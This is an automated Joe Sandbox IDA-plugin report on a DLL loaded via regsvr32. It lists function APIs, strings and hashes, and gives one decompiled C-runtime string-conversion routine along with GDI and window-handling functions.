Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Long$Class$HookPropWindow$AtomCallCriticalErrorGlobalLastNameNextSection$CompareEnterInfoLeaveStringUnhookValueWindows
String ID: #32768$AfxOldWndProc423$ime
API String ID: 3015190047-4034971020
Opcode ID: 0c9b75faf025d99bfeaa32cf68e06a7704b25964731cf43ac1ab8c67a79367b2
Instruction ID: 57a6cf5ce1c579704aec9928a023c7b8ea3f7afec3bd20363f64e7ffc2ff480d
Opcode Fuzzy Hash: 0c9b75faf025d99bfeaa32cf68e06a7704b25964731cf43ac1ab8c67a79367b2
Instruction Fuzzy Hash: B7718075200A818AEA15DB25FC1439A3360FB8DBD8F844225EE9E1B7A5DFB8D9C5C700

Uniqueness

Uniqueness Score: -1.00%

Function 10010920 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 73libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,00000002,10010AF5), ref: 10010952
GetProcAddress.KERNEL32(?,?,00000000,00000002,10010AF5), ref: 1001096E
GetProcAddress.KERNEL32(?,?,00000000,00000002,10010AF5), ref: 1001098E
GetProcAddress.KERNEL32(?,?,00000000,00000002,10010AF5), ref: 100109AE
GetProcAddress.KERNEL32(?,?,00000000,00000002,10010AF5), ref: 100109CA
GetProcAddress.KERNEL32(?,?,00000000,00000002,10010AF5), ref: 100109E6
GetProcAddress.KERNEL32(?,?,00000000,00000002,10010AF5), ref: 10010A02
GetProcAddress.KERNEL32(?,?,00000000,00000002,10010AF5), ref: 10010A1E

Strings

MonitorFromWindow, xrefs: 10010984
GetSystemMetrics, xrefs: 10010964
GetMonitorInfoA, xrefs: 100109F8
MonitorFromPoint, xrefs: 100109C0
EnumDisplayMonitors, xrefs: 100109DC
USER32, xrefs: 10010945
EnumDisplayDevicesA, xrefs: 10010A14
MonitorFromRect, xrefs: 100109A4

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: EnumDisplayDevicesA$EnumDisplayMonitors$GetMonitorInfoA$GetSystemMetrics$MonitorFromPoint$MonitorFromRect$MonitorFromWindow$USER32
API String ID: 667068680-68207542
Opcode ID: 0d3b1980f572680aee954975a73af0781b77e3b5023ec0d9e94bf23ad0e7790a
Instruction ID: 0d7c3bfee29ece6aceb50406012d4746fc5382d7eddcd171ba76d4be2248b6b0
Opcode Fuzzy Hash: 0d3b1980f572680aee954975a73af0781b77e3b5023ec0d9e94bf23ad0e7790a
Instruction Fuzzy Hash: AE318E39205B01C1EA06CF10FD943A836A6BB4D784FD45439E8DD4A2A5DFFC85E8EB12

Uniqueness

Uniqueness Score: -1.00%

Function 10005D3C Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 130windowCOMMON

Download Yara Rule

APIs

GetPropA.USER32 ref: 10005D59
SendMessageA.USER32 ref: 10005DD0
InvalidateRect.USER32 ref: 10005DDE
GetClientRect.USER32 ref: 10005DF4
ReleaseCapture.USER32 ref: 10005E1F
SetCursor.USER32 ref: 10005E85
SetWindowLongA.USER32 ref: 10005EC0
SendMessageA.USER32 ref: 10005ED4
DeleteObject.GDI32 ref: 10005F03
RemovePropA.USER32 ref: 10005F1E
CallWindowProcA.USER32 ref: 10005F36

Strings

, xrefs: 10005D7D

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: MessagePropRectSendWindow$CallCaptureClientCursorDeleteInvalidateLongObjectProcReleaseRemove
String ID:
API String ID: 2092608815-3916222277
Opcode ID: 7d88a4cd21f2ed66843e908d17396ee797daa02c454381f3e75836b4d99d83ad
Instruction ID: 45aef0b1347070e0a940f365818fe38abe541318bbf98c8dfe533b13bdb56daf
Opcode Fuzzy Hash: 7d88a4cd21f2ed66843e908d17396ee797daa02c454381f3e75836b4d99d83ad
Instruction Fuzzy Hash: 35518F36624A9086FB65DB12E854B5E33A0F78DFC2F114011DE8707B18CFBA9AC5D712

Uniqueness

Uniqueness Score: -1.00%

Function 10013AB4 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 158windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1001990C: GetWindowLongA.USER32 ref: 10019923

GetParent.USER32 ref: 10013AE4
SendMessageA.USER32 ref: 10013B0D
GetWindowRect.USER32 ref: 10013B23
GetWindowLongA.USER32 ref: 10013B40
CopyRect.USER32 ref: 10013BAD
GetWindowRect.USER32 ref: 10013BBD
CopyRect.USER32 ref: 10013BEA
GetParent.USER32 ref: 10013BF6
GetClientRect.USER32 ref: 10013C07
GetClientRect.USER32 ref: 10013C15
MapWindowPoints.USER32 ref: 10013C2C

Strings

(, xrefs: 10013B58

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Rect$Window$ClientCopyLongParent$MessagePointsSend
String ID: (
API String ID: 309407596-3887548279
Opcode ID: 316525e4e6c9acb0738e4a5cf1d197a0182b9c8069c120c62ad92a6a5e0ee8ef
Instruction ID: aa7a4f09b042a4c92194361544f68ca640bb77e87bf9287121b2e1c1f41d50fb
Opcode Fuzzy Hash: 316525e4e6c9acb0738e4a5cf1d197a0182b9c8069c120c62ad92a6a5e0ee8ef
Instruction Fuzzy Hash: 9951613231868587DA14CF29F94475EB761F785B94F549020EB8A8BF58DFBDE8898F00

Uniqueness

Uniqueness Score: -1.00%

Function 1001BA40 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 121libraryloaderregistryCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 1001BA69
GetProcAddress.KERNEL32 ref: 1001BA87
GetProcAddress.KERNEL32 ref: 1001BA9E
GetProcAddress.KERNEL32 ref: 1001BAB5
GetProcAddress.KERNEL32 ref: 1001BACC
RegOpenKeyExA.ADVAPI32 ref: 1001BB9B
RegQueryValueExA.ADVAPI32 ref: 1001BBD3
RegCloseKey.ADVAPI32 ref: 1001BC27

Strings

DeactivateActCtx, xrefs: 1001BABB
CreateActCtxA, xrefs: 1001BA7D
ReleaseActCtx, xrefs: 1001BA8D
ActivateActCtx, xrefs: 1001BAA4
KERNEL32, xrefs: 1001BA62

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: AddressProc$CloseHandleModuleOpenQueryValue
String ID: ActivateActCtx$CreateActCtxA$DeactivateActCtx$KERNEL32$ReleaseActCtx
API String ID: 380410164-3617302793
Opcode ID: 4b48eabb4d178e13658e17e6b56ad97bba5bbbee039aeff5ee41e86c04949b79
Instruction ID: bde26121e577e2a44e39dea446d365d1cc43422abe9508c9ff67e808b5eaa215
Opcode Fuzzy Hash: 4b48eabb4d178e13658e17e6b56ad97bba5bbbee039aeff5ee41e86c04949b79
Instruction Fuzzy Hash: 4C514B76205B8582EB15CF15F88439977A0F748798F540125EA8D4BBA8EFFCD5C8CB01

Uniqueness

Uniqueness Score: -1.00%

Function 100021B8 Relevance: 22.6, APIs: 15, Instructions: 110windowCOMMON

Download Yara Rule

APIs

GetClipBox.GDI32 ref: 1000222A
LPtoDP.GDI32 ref: 1000224B
CreateCompatibleBitmap.GDI32 ref: 10002262
CreateCompatibleDC.GDI32 ref: 10002283
GetMapMode.GDI32 ref: 100022A2
SetMapMode.GDI32 ref: 100022AE
GetWindowExtEx.GDI32 ref: 100022C0
SetWindowExtEx.GDI32 ref: 100022E5
GetViewportExtEx.GDI32 ref: 100022F7
SetViewportExtEx.GDI32 ref: 1000231C
DPtoLP.GDI32 ref: 1000232F
SetWindowOrgEx.GDI32 ref: 10002347
GetBkColor.GDI32 ref: 10002351
SetBkColor.GDI32 ref: 1000235D
ExtTextOutA.GDI32 ref: 10002391

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Window$ColorCompatibleCreateModeViewport$BitmapClipText
String ID:
API String ID: 144950531-0
Opcode ID: 9e587a6f8e232900d92c94b48efa5d3d169258d970c4e37204744a4036964cec
Instruction ID: 27d9acb197586042e60187997747dd6a0162880f5cdd5002c74f7dfd60062937
Opcode Fuzzy Hash: 9e587a6f8e232900d92c94b48efa5d3d169258d970c4e37204744a4036964cec
Instruction Fuzzy Hash: 5E513776200A80E6E721CF26E94479E7770F788B94F008112DF9D47BA8DF79D5AACB40

Uniqueness

Uniqueness Score: -1.00%

Function 100451C0 Relevance: 16.9, APIs: 11, Instructions: 352
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 26%

			E100451C0(int __edx, void* __esi, signed long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rdi, long long __rsi, int __r9, void* __r10, void* __r11, long long __r12, long long __r13, long long __r14, long long __r15) {
				int _t107;
				int _t114;
				void* _t117;
				int _t119;
				signed int _t124;
				signed int _t125;
				signed int _t130;
				signed int _t131;
				int _t135;
				int _t138;
				int _t141;
				int _t144;
				void* _t158;
				int _t170;
				signed int _t182;
				signed int _t190;
				signed long long _t195;
				signed long long _t196;
				signed long long _t199;
				signed long long _t200;
				signed long long _t202;
				int _t209;
				void* _t210;
				void* _t212;
				void* _t213;
				void* _t214;
				void* _t215;
				void* _t216;
				intOrPtr* _t217;
				void* _t218;
				intOrPtr* _t220;
				signed long long _t222;
				signed long long _t223;
				signed long long _t224;
				signed long long _t226;
				signed long long _t229;
				signed long long _t230;
				void* _t231;
				void* _t232;
				intOrPtr* _t234;
				int _t248;
				void* _t250;
				void* _t251;
				signed long long _t253;
				signed long long _t255;
				intOrPtr* _t259;
				signed long long _t261;
				signed long long _t262;
				signed long long _t265;

				_t263 = __r15;
				_t256 = __r13;
				_t251 = __r11;
				_t250 = __r10;
				_t246 = __r9;
				_t227 = __rsi;
				_t218 = __rdx;
				_t202 = __rbx;
				_t232 = _t231 - 0xa0;
				_t230 = _t232 + 0x40;
				 *((long long*)(_t230 + 0x58)) = __rbx;
				 *((long long*)(_t230 + 0x50)) = __rsi;
				 *((long long*)(_t230 + 0x48)) = __rdi;
				 *((long long*)(_t230 + 0x40)) = __r12;
				 *((long long*)(_t230 + 0x38)) = __r13;
				 *((long long*)(_t230 + 0x30)) = __r14;
				 *((long long*)(_t230 + 0x28)) = __r15;
				_t195 =  *0x100b1640; // 0xf93099fb11e7
				_t196 = _t195 ^ _t230;
				 *(_t230 + 0x18) = _t196;
				r10d =  *0x100b8558; // 0x1
				_t144 = 0;
				_t259 = __r9;
				 *(_t230 + 8) = __r9;
				 *_t230 = r8d;
				r15d = __edx;
				 *(_t230 + 0x10) = __edx;
				_t220 = __rcx;
				if(r10d == 0) {
					_t12 = _t202 + 1; // 0x1
					r9d = _t12;
					_t145 = 0;
					 *(_t232 + 0x28) = 0;
					 *(_t232 + 0x20) = __rbx;
					if(LCMapStringW(??, ??, ??, ??, ??, ??) == 0) {
						GetLastError();
						r10d =  *0x100b8558; // 0x1
						_t145 = 2;
						r10d =  ==  ? 2 : r10d;
					} else {
						_t15 = _t202 + 1; // 0x1
						r10d = _t15;
					}
					 *0x100b8558 = r10d;
				}
				r9d =  *(_t230 + 0x90);
				if(r9d <= 0) {
					L13:
					if(r10d == 2 || r10d == 0) {
						_t253 = _t202;
						if(r15d == 0) {
							_t196 =  *_t220;
							r15d =  *(_t196 + 0x14);
							 *(_t230 + 0x10) = r15d;
						}
						_t170 =  *(_t230 + 0xa8);
						if(_t170 == 0) {
							_t196 =  *_t220;
							_t170 =  *(_t196 + 4);
						}
						_t145 = r15d;
						_t107 = E1004D2B0(_t246);
						r13d = _t107;
						if(_t107 != 0xffffffff) {
							_t234 = _t259;
							if(_t107 == _t170) {
								r9d =  *(_t230 + 0x90);
								 *(_t232 + 0x28) =  *(_t230 + 0xa0);
								_t145 = r15d;
								 *(_t232 + 0x20) =  *((intOrPtr*)(_t230 + 0x98));
								_t144 = LCMapStringA(??, ??, ??, ??, ??, ??);
								L84:
								goto L85;
							}
							_t145 = _t170;
							 *(_t232 + 0x28) = _t144;
							 *(_t232 + 0x20) = _t202;
							E1004D320(_t170, _t107, _t170, _t202, _t220, _t227, _t234, _t230 + 0x90, _t250, _t251, _t253, _t256, _t259, _t263);
							_t261 = _t196;
							if(_t196 == 0) {
								goto L62;
							}
							r9d =  *(_t230 + 0x90);
							_t145 = r15d;
							 *(_t232 + 0x28) = _t144;
							 *(_t232 + 0x20) = _t202;
							_t114 = LCMapStringA(??, ??, ??, ??, ??, ??);
							_t265 =  *((intOrPtr*)(_t230 + 0x98));
							_t248 = _t114;
							 *(_t230 + 8) = r9d;
							if(_t114 <= 0) {
								L80:
								E1002E330(_t196, _t261);
								if(_t253 != 0 && _t265 != _t253) {
									E1002E330(_t196, _t253);
								}
								goto L84;
							}
							_t209 = _t248;
							if(_t248 > 0xffffffe0) {
								goto L80;
							}
							_t210 = _t209 + 0x10;
							if(_t210 > 0x400) {
								_t117 = E1002E260(_t196, _t202, _t210, _t220, _t227);
								_t222 = _t196;
								if(_t196 == 0) {
									L75:
									r9d =  *(_t230 + 8);
									if(_t222 != 0) {
										E1002E410(_t117, _t145, 0, _t222, _t218, r9d);
										r11d =  *(_t230 + 8);
										r9d =  *(_t230 + 0x90);
										_t145 =  *(_t230 + 0x10);
										 *(_t232 + 0x28) = r11d;
										 *(_t232 + 0x20) = _t222;
										_t119 = LCMapStringA(??, ??, ??, ??, ??, ??);
										 *(_t230 + 8) = _t119;
										if(_t119 != 0) {
											 *(_t232 + 0x28) =  *(_t230 + 0xa0);
											 *(_t232 + 0x20) = _t265;
											E1004D320(r13d, _t170, _t170, _t202, _t222, _t227, _t222, _t230 + 8, _t250, _t251, _t253, _t256, _t261, _t265);
											_t253 = _t196;
											_t145 =  ==  ? _t144 :  *(_t230 + 8);
											_t144 =  ==  ? _t144 :  *(_t230 + 8);
										}
										_t92 = _t222 - 0x10; // -16
										_t212 = _t92;
										if( *((intOrPtr*)(_t222 - 0x10)) == 0xdddd) {
											E1002E330(_t196, _t212);
										}
									}
									goto L80;
								}
								 *_t196 = 0xdddd;
								L74:
								_t222 = _t222 + 0x10;
								goto L75;
							}
							_t223 = _t210 + 0xf;
							if(_t223 <= _t210) {
								_t223 = 0xfffffff0;
							}
							_t224 = _t223 & 0xfffffff0;
							_t196 = _t224;
							_t117 = E10055AC0(_t114, _t196, _t250, _t251);
							_t232 = _t232 - _t224;
							_t222 = _t232 + 0x40;
							if(_t222 == 0) {
								goto L80;
							} else {
								 *_t222 = 0xcccc;
								goto L74;
							}
						} else {
							goto L62;
						}
					} else {
						if(r10d != 1) {
							L62:
							L85:
							return E1002FF40(_t145,  *(_t230 + 0x18) ^ _t230);
						}
						r13d =  *(_t230 + 0xa8);
						r12d = _t144;
						if(r13d == 0) {
							r13d =  *( *_t220 + 4);
						}
						_t145 = r13d;
						_t158 =  !=  ? 9 : 1;
						 *(_t232 + 0x28) = _t144;
						 *(_t232 + 0x20) = _t202;
						_t124 = MultiByteToWideChar(??, ??, ??, ??, ??, ??);
						_t182 = _t124;
						_t262 = _t124;
						if(_t182 == 0 || _t182 <= 0) {
							goto L62;
						} else {
							_t198 = 0xffffffe0;
							_t125 = _t124 / _t262;
							if(0xffffffe0 < 2) {
								goto L62;
							}
							_t30 = _t262 + 0x10; // 0x30
							_t213 = _t262 + _t30;
							if(_t213 > 0x400) {
								E1002E260(0xffffffe0, _t202, _t213, 0xfffffff0, _t227);
								_t229 = 0xffffffe0;
								if(0xffffffe0 == 0) {
									L29:
									if(_t229 == 0) {
										goto L62;
									}
									r9d =  *(_t230 + 0x90);
									_t145 = r13d;
									 *(_t232 + 0x28) = r14d;
									 *(_t232 + 0x20) = _t229;
									if(MultiByteToWideChar(??, ??, ??, ??, ??, ??) == 0) {
										L54:
										_t64 = _t229 - 0x10; // -16
										_t214 = _t64;
										if( *((intOrPtr*)(_t229 - 0x10)) == 0xdddd) {
											E1002E330(_t198, _t214);
										}
										goto L85;
									}
									r9d = r14d;
									_t145 = r15d;
									 *(_t232 + 0x28) = _t144;
									 *(_t232 + 0x20) = _t202;
									_t130 = LCMapStringW(??, ??, ??, ??, ??, ??);
									_t190 = _t130;
									_t255 = _t130;
									if(_t190 == 0) {
										goto L54;
									}
									_t145 =  *_t230;
									asm("bt ecx, 0xa");
									if(_t190 >= 0) {
										if(_t130 <= 0) {
											goto L54;
										}
										_t198 = 0xffffffe0;
										_t131 = _t130 / _t255;
										if(0xffffffe0 < 2) {
											goto L54;
										}
										_t48 = _t255 + 0x10; // 0x10
										_t215 = _t255 + _t48;
										if(_t215 > 0x400) {
											E1002E260(0xffffffe0, _t202, _t215, 0xfffffff0, _t229);
											_t226 = 0xffffffe0;
											if(0xffffffe0 == 0) {
												L46:
												if(_t226 != 0) {
													r9d = r14d;
													_t145 = r15d;
													 *(_t232 + 0x28) = r12d;
													 *(_t232 + 0x20) = _t226;
													if(LCMapStringW(??, ??, ??, ??, ??, ??) != 0) {
														_t135 =  *(_t230 + 0xa0);
														 *(_t232 + 0x38) = _t202;
														r9d = r12d;
														_t145 = r13d;
														 *(_t232 + 0x30) = _t202;
														if(_t135 != 0) {
															 *(_t232 + 0x28) = _t135;
															_t198 =  *((intOrPtr*)(_t230 + 0x98));
															 *(_t232 + 0x20) =  *((intOrPtr*)(_t230 + 0x98));
														} else {
															 *(_t232 + 0x28) = _t144;
															 *(_t232 + 0x20) = _t202;
														}
														r12d = WideCharToMultiByte();
													}
													_t62 = _t226 - 0x10; // -16
													_t216 = _t62;
													if( *((intOrPtr*)(_t226 - 0x10)) == 0xdddd) {
														E1002E330(_t198, _t216);
													}
												}
												goto L54;
											}
											 *0xffffffe0 = 0xdddd;
											L45:
											_t226 = _t226 + 0x10;
											goto L46;
										}
										_t49 = _t215 + 0xf; // 0x1f
										_t199 = _t49;
										if(_t199 <= _t215) {
											_t199 = 0xfffffff0;
										}
										_t198 = _t199 & 0xfffffff0;
										E10055AC0(_t131, _t198, _t250, _t251);
										_t232 = _t232 - _t198;
										_t226 = _t232 + 0x40;
										if(_t226 == 0) {
											goto L54;
										} else {
											 *_t226 = 0xcccc;
											goto L45;
										}
									}
									_t138 =  *(_t230 + 0xa0);
									if(_t138 != 0 && r12d <= _t138) {
										 *(_t232 + 0x28) = _t138;
										_t198 =  *((intOrPtr*)(_t230 + 0x98));
										r9d = r14d;
										_t145 = r15d;
										 *(_t232 + 0x20) =  *((intOrPtr*)(_t230 + 0x98));
										LCMapStringW(??, ??, ??, ??, ??, ??);
									}
									goto L54;
								}
								 *0xffffffe0 = 0xdddd;
								L28:
								_t229 = _t229 + 0x10;
								goto L29;
							}
							_t31 = _t213 + 0xf; // 0x3f
							_t200 = _t31;
							if(_t200 <= _t213) {
								_t200 = 0xfffffff0;
							}
							_t198 = _t200 & 0xfffffff0;
							E10055AC0(_t125, _t198, _t250, _t251);
							_t232 = _t232 - _t198;
							_t229 = _t232 + 0x40;
							if(_t229 == 0) {
								goto L62;
							} else {
								 *_t229 = 0xcccc;
								goto L28;
							}
						}
					}
				} else {
					_t141 = r9d;
					_t217 = _t259;
					while(1) {
						_t141 = _t141 - 1;
						if( *_t217 == _t144) {
							break;
						}
						_t217 = _t217 + 1;
						if(_t141 != 0) {
							continue;
						} else {
							_t141 = 0xffffffff;
							break;
						}
					}
					_t145 = r9d - _t141 - 1;
					if(_t145 >= r9d) {
						r9d = _t145;
						 *(_t230 + 0x90) = _t145;
					} else {
						r9d = _t217 + 1;
						 *(_t230 + 0x90) = r9d;
					}
					goto L13;
				}
			}

0x100451c0
0x100451c0
0x100451c0
0x100451c0
0x100451c0
0x100451c0
0x100451c0
0x100451c0
0x100451c2
0x100451c9
0x100451ce
0x100451d2
0x100451d6
0x100451da
0x100451de
0x100451e2
0x100451e6
0x100451ea
0x100451f1
0x100451f4
0x100451f8
0x100451ff
0x10045201
0x10045207
0x1004520b
0x1004520f
0x10045212
0x10045215
0x10045218
0x1004521a
0x1004521a
0x1004522a
0x1004522c
0x10045230
0x1004523d
0x10045245
0x1004524b
0x10045252
0x1004525a
0x1004523f
0x1004523f
0x1004523f
0x1004523f
0x1004525e
0x1004525e
0x10045265
0x1004526f
0x100452ae
0x100452b2
0x10045535
0x10045538
0x1004553a
0x1004553d
0x10045541
0x10045541
0x10045545
0x1004554d
0x1004554f
0x10045552
0x10045552
0x10045555
0x10045558
0x10045560
0x10045563
0x1004556e
0x10045571
0x100456d9
0x100456e3
0x100456ee
0x100456f1
0x100456fc
0x100456fe
0x00000000
0x100456fe
0x10045580
0x10045582
0x10045586
0x1004558b
0x10045593
0x10045596
0x00000000
0x00000000
0x10045598
0x100455a5
0x100455a8
0x100455ac
0x100455b1
0x100455b7
0x100455c0
0x100455c3
0x100455c7
0x100456b7
0x100456ba
0x100456c2
0x100456cc
0x100456cc
0x00000000
0x100456c2
0x100455d1
0x100455d4
0x00000000
0x00000000
0x100455da
0x100455e5
0x1004561f
0x10045627
0x1004562a
0x10045636
0x10045639
0x1004563d
0x10045647
0x1004564c
0x10045650
0x1004565a
0x1004565d
0x10045665
0x1004566a
0x10045672
0x10045675
0x10045684
0x1004568d
0x10045692
0x1004569d
0x100456a0
0x100456a3
0x100456a3
0x100456ac
0x100456ac
0x100456b0
0x100456b2
0x100456b2
0x100456b0
0x00000000
0x1004563d
0x1004562c
0x10045632
0x10045632
0x00000000
0x10045632
0x100455e7
0x100455ee
0x100455f0
0x100455f0
0x100455fa
0x100455fe
0x10045601
0x10045606
0x10045609
0x10045611
0x00000000
0x10045617
0x10045617
0x00000000
0x10045617
0x00000000
0x00000000
0x00000000
0x100452c1
0x100452c5
0x10045565
0x10045700
0x1004572d
0x1004572d
0x100452cb
0x100452d2
0x100452d8
0x100452dd
0x100452dd
0x100452f4
0x100452f7
0x100452fa
0x100452fe
0x10045303
0x10045309
0x1004530b
0x1004530e
0x00000000
0x1004531a
0x1004531c
0x10045323
0x1004532a
0x00000000
0x00000000
0x10045330
0x10045330
0x10045346
0x10045376
0x1004537e
0x10045381
0x1004538d
0x10045390
0x00000000
0x00000000
0x10045396
0x100453a6
0x100453a9
0x100453ae
0x100453bb
0x10045518
0x1004551f
0x1004551f
0x10045523
0x10045525
0x10045525
0x00000000
0x1004552a
0x100453c4
0x100453ca
0x100453cd
0x100453d1
0x100453d6
0x100453dc
0x100453de
0x100453e1
0x00000000
0x00000000
0x100453e7
0x100453ea
0x100453ee
0x1004542f
0x00000000
0x00000000
0x10045437
0x1004543e
0x10045445
0x00000000
0x00000000
0x1004544b
0x1004544b
0x10045457
0x10045487
0x1004548f
0x10045492
0x1004549e
0x100454a1
0x100454a6
0x100454ac
0x100454af
0x100454b4
0x100454c1
0x100454c3
0x100454cb
0x100454d2
0x100454d8
0x100454db
0x100454e0
0x100454ed
0x100454f1
0x100454f8
0x100454e2
0x100454e2
0x100454e6
0x100454e6
0x10045503
0x10045503
0x1004550d
0x1004550d
0x10045511
0x10045513
0x10045513
0x10045511
0x00000000
0x100454a1
0x10045494
0x1004549a
0x1004549a
0x00000000
0x1004549a
0x10045459
0x10045459
0x10045460
0x10045462
0x10045462
0x10045465
0x10045469
0x1004546e
0x10045471
0x10045479
0x00000000
0x1004547f
0x1004547f
0x00000000
0x1004547f
0x10045479
0x100453f0
0x100453f8
0x10045407
0x1004540b
0x10045414
0x1004541a
0x1004541d
0x10045422
0x10045422
0x00000000
0x100453f8
0x10045383
0x10045389
0x10045389
0x00000000
0x10045389
0x10045348
0x10045348
0x1004534f
0x10045351
0x10045351
0x10045354
0x10045358
0x1004535d
0x10045360
0x10045368
0x00000000
0x1004536e
0x1004536e
0x00000000
0x1004536e
0x10045368
0x1004530e
0x10045271
0x10045271
0x10045274
0x10045277
0x10045277
0x1004527c
0x00000000
0x00000000
0x1004527e
0x10045284
0x00000000
0x10045286
0x10045286
0x00000000
0x10045286
0x10045284
0x10045290
0x10045296
0x100452a5
0x100452a8
0x10045298
0x10045298
0x1004529c
0x1004529c
0x00000000
0x10045296

APIs

LCMapStringW.KERNEL32 ref: 10045235
GetLastError.KERNEL32 ref: 10045245
MultiByteToWideChar.KERNEL32 ref: 10045303
MultiByteToWideChar.KERNEL32 ref: 100453B3
LCMapStringW.KERNEL32 ref: 100453D6
LCMapStringW.KERNEL32 ref: 10045422
LCMapStringW.KERNEL32 ref: 100454B9
WideCharToMultiByte.KERNEL32 ref: 100454FD
LCMapStringA.KERNEL32 ref: 100455B1
LCMapStringA.KERNEL32 ref: 1004566A
LCMapStringA.KERNEL32 ref: 100456F6

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: String$ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1775797328-0
Opcode ID: d9217b05f9d62f43031301de3c94a5b7a99e63dfd7e298eed94bd2c5d7e5ec45
Instruction ID: b67769ac34204b27c803fb3e14be0af671395fcccb6cff1e87e9498fbb3dd088
Opcode Fuzzy Hash: d9217b05f9d62f43031301de3c94a5b7a99e63dfd7e298eed94bd2c5d7e5ec45
Instruction Fuzzy Hash: 10E1CE32700BC08ACB24CF25E94079937A1F748BE9FA44629EE6D97F99DB35DA40C704

Uniqueness

Uniqueness Score: -1.00%

Function 10002438 Relevance: 16.7, APIs: 11, Instructions: 193COMMON

Download Yara Rule

APIs

SelectClipRgn.GDI32 ref: 100024CF
OffsetClipRgn.GDI32 ref: 100024E0
CreatePen.GDI32 ref: 10002545
MoveToEx.GDI32 ref: 10002588
LineTo.GDI32 ref: 100025C9
SelectClipRgn.GDI32 ref: 100025FD
OffsetClipRgn.GDI32 ref: 10002616
CreatePen.GDI32 ref: 1000268B

Part of subcall function 1000D684: SelectObject.GDI32 ref: 1000D69C

Ellipse.GDI32 ref: 100026E0
